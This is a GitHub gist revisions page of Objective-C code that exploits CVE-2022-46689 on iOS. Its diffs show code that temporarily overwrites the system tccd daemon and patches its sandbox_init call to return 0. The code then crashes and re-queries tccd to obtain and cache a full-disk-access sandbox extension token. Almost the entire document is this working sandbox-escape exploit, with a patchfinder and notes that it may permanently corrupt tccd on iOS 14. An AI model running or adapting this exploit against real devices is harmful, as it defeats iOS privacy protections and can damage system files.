Skip to content

Instantly share code, notes, and snippets.

@github410117
Forked from zhuowei/grant_full_disk_access.m
Created February 3, 2023 02:37

Revisions

  1. @zhuowei zhuowei revised this gist Jan 29, 2023. 1 changed file with 33 additions and 6 deletions.
    39 changes: 33 additions & 6 deletions grant_full_disk_access.m
    Original file line number Diff line number Diff line change
    @@ -127,8 +127,8 @@ static uint64_t patchfind_got(void* executable_map, size_t executable_length,
    struct section_64* section_array =
    ((void*)data_const_segment) + sizeof(struct segment_command_64);
    struct section_64* first_section = &section_array[0];
    if (strcmp(first_section->sectname, "__auth_got")) {
    // TODO(zhuowei): arm64?
    if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
    strcmp(first_section->sectname, "__got") == 0)) {
    return 0;
    }
    uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
    @@ -189,8 +189,8 @@ static bool patchfind(void* executable_map, size_t executable_length,

    static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
    // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
    // re-use it until next reboot returns the sandbox token if there is one, or nil if there isn't
    // one.
    // re-use it until next reboot.
    // Returns the sandbox token if there is one, or nil if there isn't one.
    xpc_connection_t connection = xpc_connection_create_mach_service(
    "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
    xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
    @@ -267,7 +267,7 @@ static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
    *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
    strlen("com.apple.app-sandbox.read-write");
    }
    {
    if (offsets.is_arm64e) {
    // make sandbox_init call return 0;
    struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
    .auth = 1,
    @@ -281,6 +281,15 @@ static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
    *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
    offsets.offset_auth_got__sandbox_init) =
    targetRebase;
    } else {
    // make sandbox_init call return 0;
    struct dyld_chained_ptr_64_rebase targetRebase = {
    .bind = 0,
    .next = 2,
    .target = offsets.offset_just_return_0,
    };
    *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
    targetRebase;
    }
    return data;
    }
    @@ -307,6 +316,11 @@ static void grant_full_disk_access_impl(void (^completion)(NSString* extension_t
    NSError* _Nullable error)) {
    char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
    int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
    if (fd == -1) {
    // iOS 15.3 and below
    targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
    fd = open(targetPath, O_RDONLY | O_CLOEXEC);
    }
    off_t targetLength = lseek(fd, 0, SEEK_END);
    lseek(fd, 0, SEEK_SET);
    void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
    @@ -362,6 +376,19 @@ static void grant_full_disk_access_impl(void (^completion)(NSString* extension_t
    }

    void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
    if (!NSClassFromString(@"NSPresentationIntent")) {
    // class introduced in iOS 15.0.
    // TODO(zhuowei): maybe check the actual OS version instead?
    completion([NSError
    errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
    code:6
    userInfo:@{
    NSLocalizedDescriptionKey :
    @"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
    @"reverted after reboot, so running this may permanently corrupt tccd."
    }]);
    return;
    }
    NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
    inDomains:NSUserDomainMask][0];
    NSURL* sourceURL =
    @@ -397,4 +424,4 @@ void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
    error:&error];
    completion(nil);
    });
    }
    }
  2. @zhuowei zhuowei revised this gist Jan 28, 2023. 1 changed file with 2 additions and 0 deletions.
    2 changes: 2 additions & 0 deletions grant_full_disk_access.m
    Original file line number Diff line number Diff line change
    @@ -6,6 +6,8 @@
    // you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
    // WDBFontOverwrite
    // Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
    // Please don't call this code on iOS 14 or below
    // (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
    #import "helpers.h"
    #import "vm_unaligned_copy_switch_race.h"

  3. @zhuowei zhuowei revised this gist Jan 27, 2023. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions grant_full_disk_access.m
    Original file line number Diff line number Diff line change
    @@ -5,6 +5,7 @@
    #import <mach-o/fixup-chains.h>
    // you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
    // WDBFontOverwrite
    // Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
    #import "helpers.h"
    #import "vm_unaligned_copy_switch_race.h"

  4. @zhuowei zhuowei revised this gist Jan 27, 2023. 1 changed file with 180 additions and 17 deletions.
    197 changes: 180 additions & 17 deletions grant_full_disk_access.m
    Original file line number Diff line number Diff line change
    @@ -1,8 +1,10 @@
    @import Darwin;
    @import Foundation;
    @import MachO;

    #import <mach-o/fixup-chains.h>
    // you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from WDBFontOverwrite
    // you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
    // WDBFontOverwrite
    #import "helpers.h"
    #import "vm_unaligned_copy_switch_race.h"

    @@ -26,6 +28,162 @@ xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connec

    int64_t sandbox_extension_consume(const char* token);

    // MARK: - patchfind

    struct grant_full_disk_access_offsets {
    uint64_t offset_addr_s_com_apple_tcc_;
    uint64_t offset_padding_space_for_read_write_string;
    uint64_t offset_addr_s_kTCCServiceMediaLibrary;
    uint64_t offset_auth_got__sandbox_init;
    uint64_t offset_just_return_0;
    bool is_arm64e;
    };

    static bool patchfind_sections(void* executable_map,
    struct segment_command_64** data_const_segment_out,
    struct symtab_command** symtab_out,
    struct dysymtab_command** dysymtab_out) {
    struct mach_header_64* executable_header = executable_map;
    struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
    for (int load_command_index = 0; load_command_index < executable_header->ncmds;
    load_command_index++) {
    switch (load_command->cmd) {
    case LC_SEGMENT_64: {
    struct segment_command_64* segment = (struct segment_command_64*)load_command;
    if (strcmp(segment->segname, "__DATA_CONST") == 0) {
    *data_const_segment_out = segment;
    }
    break;
    }
    case LC_SYMTAB: {
    *symtab_out = (struct symtab_command*)load_command;
    break;
    }
    case LC_DYSYMTAB: {
    *dysymtab_out = (struct dysymtab_command*)load_command;
    break;
    }
    }
    load_command = ((void*)load_command) + load_command->cmdsize;
    }
    return true;
    }

    static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
    struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
    struct section_64* last_section = &section_array[segment->nsects - 1];
    return last_section->offset + last_section->size;
    }

    static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
    const char* needle) {
    void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
    if (!str_offset) {
    return 0;
    }
    uint64_t str_file_offset = str_offset - executable_map;
    for (int i = 0; i < executable_length; i += 8) {
    uint64_t val = *(uint64_t*)(executable_map + i);
    if ((val & 0xfffffffful) == str_file_offset) {
    return i;
    }
    }
    return 0;
    }

    static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
    // TCCDSyncAccessAction::sequencer
    // mov x0, #0
    // ret
    static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
    void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
    if (!offset) {
    return 0;
    }
    return offset - executable_map;
    }

    static uint64_t patchfind_got(void* executable_map, size_t executable_length,
    struct segment_command_64* data_const_segment,
    struct symtab_command* symtab_command,
    struct dysymtab_command* dysymtab_command,
    const char* target_symbol_name) {
    uint64_t target_symbol_index = 0;
    for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
    struct nlist_64* sym =
    ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
    const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
    if (strcmp(sym_name, target_symbol_name)) {
    continue;
    }
    // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
    target_symbol_index = sym_index;
    break;
    }

    struct section_64* section_array =
    ((void*)data_const_segment) + sizeof(struct segment_command_64);
    struct section_64* first_section = &section_array[0];
    if (strcmp(first_section->sectname, "__auth_got")) {
    // TODO(zhuowei): arm64?
    return 0;
    }
    uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;

    for (int i = 0; i < first_section->size; i += 8) {
    uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
    uint64_t indirect_table_entry = (val & 0xfffful);
    if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
    return first_section->offset + i;
    }
    }
    return 0;
    }

    static bool patchfind(void* executable_map, size_t executable_length,
    struct grant_full_disk_access_offsets* offsets) {
    struct segment_command_64* data_const_segment = nil;
    struct symtab_command* symtab_command = nil;
    struct dysymtab_command* dysymtab_command = nil;
    if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
    &dysymtab_command)) {
    printf("no sections\n");
    return false;
    }
    if ((offsets->offset_addr_s_com_apple_tcc_ =
    patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
    printf("no com.apple.tcc. string\n");
    return false;
    }
    if ((offsets->offset_padding_space_for_read_write_string =
    patchfind_get_padding(data_const_segment)) == 0) {
    printf("no padding\n");
    return false;
    }
    if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
    executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
    printf("no kTCCServiceMediaLibrary string\n");
    return false;
    }
    if ((offsets->offset_auth_got__sandbox_init =
    patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
    dysymtab_command, "_sandbox_init")) == 0) {
    printf("no sandbox_init\n");
    return false;
    }
    if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
    0) {
    printf("no just return 0\n");
    return false;
    }
    struct mach_header_64* executable_header = executable_map;
    offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;

    return true;
    }

    // MARK: - tccd patching

    static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
    // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
    // re-use it until next reboot returns the sandbox token if there is one, or nil if there isn't
    @@ -78,34 +236,32 @@ static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
    }

    static NSData* patchTCCD(void* executableMap, size_t executableLength) {
    // TODO(zhuowei): make a patchfinder
    // this is for iPhone 14 Pro, 16.1 RC (iPhone15,2_16.1_20B79_Restore.ipsw)
    uint64_t offset_addr_s_com_apple_tcc_ = 0x7f2e8;
    uint64_t offset_padding_space_for_read_write_string = 0x84d70;
    uint64_t offset_addr_s_kTCCServiceMediaLibrary = 0x80f88;
    uint64_t offset_auth_got__sandbox_init = 0x7c5e8;
    uint64_t offset_just_return_0 = 0x8ccc;
    struct grant_full_disk_access_offsets offsets = {};
    if (!patchfind(executableMap, executableLength, &offsets)) {
    return nil;
    }

    NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
    // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
    char* mutableBytes = data.mutableBytes;
    {
    // rewrite com.apple.tcc. into blank string
    *(uint64_t*)(mutableBytes + offset_addr_s_com_apple_tcc_ + 8) = 0;
    *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
    }
    {
    // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
    // we need to stick this somewhere; just put it in the padding between
    // the end of __objc_arrayobj and the end of __DATA_CONST
    strcpy((char*)(data.mutableBytes + offset_padding_space_for_read_write_string),
    strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
    "com.apple.app-sandbox.read-write");
    struct dyld_chained_ptr_arm64e_rebase targetRebase =
    *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
    offset_addr_s_kTCCServiceMediaLibrary);
    targetRebase.target = offset_padding_space_for_read_write_string;
    offsets.offset_addr_s_kTCCServiceMediaLibrary);
    targetRebase.target = offsets.offset_padding_space_for_read_write_string;
    *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
    offset_addr_s_kTCCServiceMediaLibrary) = targetRebase;
    *(uint64_t*)(mutableBytes + offset_addr_s_kTCCServiceMediaLibrary + 8) =
    offsets.offset_addr_s_kTCCServiceMediaLibrary) =
    targetRebase;
    *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
    strlen("com.apple.app-sandbox.read-write");
    }
    {
    @@ -117,9 +273,10 @@ static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
    .key = 0, // IA
    .addrDiv = 1,
    .diversity = 0,
    .target = offset_just_return_0,
    .target = offsets.offset_just_return_0,
    };
    *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + offset_auth_got__sandbox_init) =
    *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
    offsets.offset_auth_got__sandbox_init) =
    targetRebase;
    }
    return data;
    @@ -153,6 +310,12 @@ static void grant_full_disk_access_impl(void (^completion)(NSString* extension_t

    NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
    NSData* sourceData = patchTCCD(targetMap, targetLength);
    if (!sourceData) {
    completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
    code:5
    userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
    return;
    }

    if (!overwrite_file(fd, sourceData)) {
    overwrite_file(fd, originalData);
    @@ -231,4 +394,4 @@ void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
    error:&error];
    completion(nil);
    });
    }
    }
  5. @zhuowei zhuowei created this gist Jan 27, 2023.
    234 changes: 234 additions & 0 deletions grant_full_disk_access.m
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,234 @@
    @import Darwin;
    @import Foundation;

    #import <mach-o/fixup-chains.h>
    // you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from WDBFontOverwrite
    #import "helpers.h"
    #import "vm_unaligned_copy_switch_race.h"

    typedef NSObject* xpc_object_t;
    typedef xpc_object_t xpc_connection_t;
    typedef void (^xpc_handler_t)(xpc_object_t object);
    xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
    xpc_object_t _Nullable const* values, size_t count);
    xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
    uint64_t flags);
    void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
    void xpc_connection_resume(xpc_connection_t connection);
    void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
    dispatch_queue_t replyq, xpc_handler_t handler);
    xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
    xpc_object_t message);
    xpc_object_t xpc_bool_create(bool value);
    xpc_object_t xpc_string_create(const char* string);
    xpc_object_t xpc_null_create(void);
    const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);

    int64_t sandbox_extension_consume(const char* token);

    static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
    // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
    // re-use it until next reboot returns the sandbox token if there is one, or nil if there isn't
    // one.
    xpc_connection_t connection = xpc_connection_create_mach_service(
    "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
    xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
    NSLog(@"xpc event handler: %@", object);
    });
    xpc_connection_resume(connection);
    const char* keys[] = {
    "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
    "target_token", "background_session",
    };
    xpc_object_t values[] = {
    xpc_string_create("17087.1"),
    xpc_string_create("TCCAccessRequest"),
    xpc_string_create("com.apple.app-sandbox.read-write"),
    xpc_null_create(),
    xpc_bool_create(false),
    xpc_null_create(),
    xpc_bool_create(false),
    };
    xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
    #if 0
    xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
    NSLog(@"%@", response_message);

    #endif
    xpc_connection_send_message_with_reply(
    connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
    ^(xpc_object_t object) {
    if (!object) {
    NSLog(@"object is nil???");
    completion(nil);
    return;
    }
    NSLog(@"response: %@", object);
    if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
    NSLog(@"xpc error?");
    completion(nil);
    return;
    }
    NSLog(@"debug description: %@", [object debugDescription]);
    const char* extension_string = xpc_dictionary_get_string(object, "extension");
    NSString* extension_nsstring =
    extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
    completion(extension_nsstring);
    });
    }

    static NSData* patchTCCD(void* executableMap, size_t executableLength) {
    // TODO(zhuowei): make a patchfinder
    // this is for iPhone 14 Pro, 16.1 RC (iPhone15,2_16.1_20B79_Restore.ipsw)
    uint64_t offset_addr_s_com_apple_tcc_ = 0x7f2e8;
    uint64_t offset_padding_space_for_read_write_string = 0x84d70;
    uint64_t offset_addr_s_kTCCServiceMediaLibrary = 0x80f88;
    uint64_t offset_auth_got__sandbox_init = 0x7c5e8;
    uint64_t offset_just_return_0 = 0x8ccc;

    NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
    // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
    char* mutableBytes = data.mutableBytes;
    {
    // rewrite com.apple.tcc. into blank string
    *(uint64_t*)(mutableBytes + offset_addr_s_com_apple_tcc_ + 8) = 0;
    }
    {
    // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
    // we need to stick this somewhere; just put it in the padding between
    // the end of __objc_arrayobj and the end of __DATA_CONST
    strcpy((char*)(data.mutableBytes + offset_padding_space_for_read_write_string),
    "com.apple.app-sandbox.read-write");
    struct dyld_chained_ptr_arm64e_rebase targetRebase =
    *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
    offset_addr_s_kTCCServiceMediaLibrary);
    targetRebase.target = offset_padding_space_for_read_write_string;
    *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
    offset_addr_s_kTCCServiceMediaLibrary) = targetRebase;
    *(uint64_t*)(mutableBytes + offset_addr_s_kTCCServiceMediaLibrary + 8) =
    strlen("com.apple.app-sandbox.read-write");
    }
    {
    // make sandbox_init call return 0;
    struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
    .auth = 1,
    .bind = 0,
    .next = 1,
    .key = 0, // IA
    .addrDiv = 1,
    .diversity = 0,
    .target = offset_just_return_0,
    };
    *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + offset_auth_got__sandbox_init) =
    targetRebase;
    }
    return data;
    }

    static bool overwrite_file(int fd, NSData* sourceData) {
    for (int off = 0; off < sourceData.length; off += 0x4000) {
    bool success = false;
    for (int i = 0; i < 2; i++) {
    if (unaligned_copy_switch_race(
    fd, off, sourceData.bytes + off,
    off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
    success = true;
    break;
    }
    }
    if (!success) {
    return false;
    }
    }
    return true;
    }

    static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
    NSError* _Nullable error)) {
    char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
    int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
    off_t targetLength = lseek(fd, 0, SEEK_END);
    lseek(fd, 0, SEEK_SET);
    void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);

    NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
    NSData* sourceData = patchTCCD(targetMap, targetLength);

    if (!overwrite_file(fd, sourceData)) {
    overwrite_file(fd, originalData);
    munmap(targetMap, targetLength);
    completion(
    nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
    code:1
    userInfo:@{
    NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
    @"not be vulnerable to CVE-2022-46689."
    }]);
    return;
    }
    munmap(targetMap, targetLength);

    xpc_crasher("com.apple.tccd");
    sleep(1);
    call_tccd(^(NSString* _Nullable extension_token) {
    overwrite_file(fd, originalData);
    xpc_crasher("com.apple.tccd");
    NSError* returnError = nil;
    if (extension_token == nil) {
    returnError =
    [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
    code:2
    userInfo:@{
    NSLocalizedDescriptionKey : @"tccd did not return an extension token."
    }];
    } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
    returnError = [NSError
    errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
    code:3
    userInfo:@{
    NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
    @"instead of an app sandbox token."
    }];
    extension_token = nil;
    }
    completion(extension_token, returnError);
    });
    }

    void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
    NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
    inDomains:NSUserDomainMask][0];
    NSURL* sourceURL =
    [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
    NSError* error = nil;
    NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
    encoding:NSUTF8StringEncoding
    error:&error];
    if (cachedToken) {
    int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
    if (handle > 0) {
    // cached version worked
    completion(nil);
    return;
    }
    }
    grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
    if (error) {
    completion(error);
    return;
    }
    int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
    if (handle <= 0) {
    completion([NSError
    errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
    code:4
    userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
    return;
    }
    [extension_token writeToURL:sourceURL
    atomically:true
    encoding:NSUTF8StringEncoding
    error:&error];
    completion(nil);
    });
    }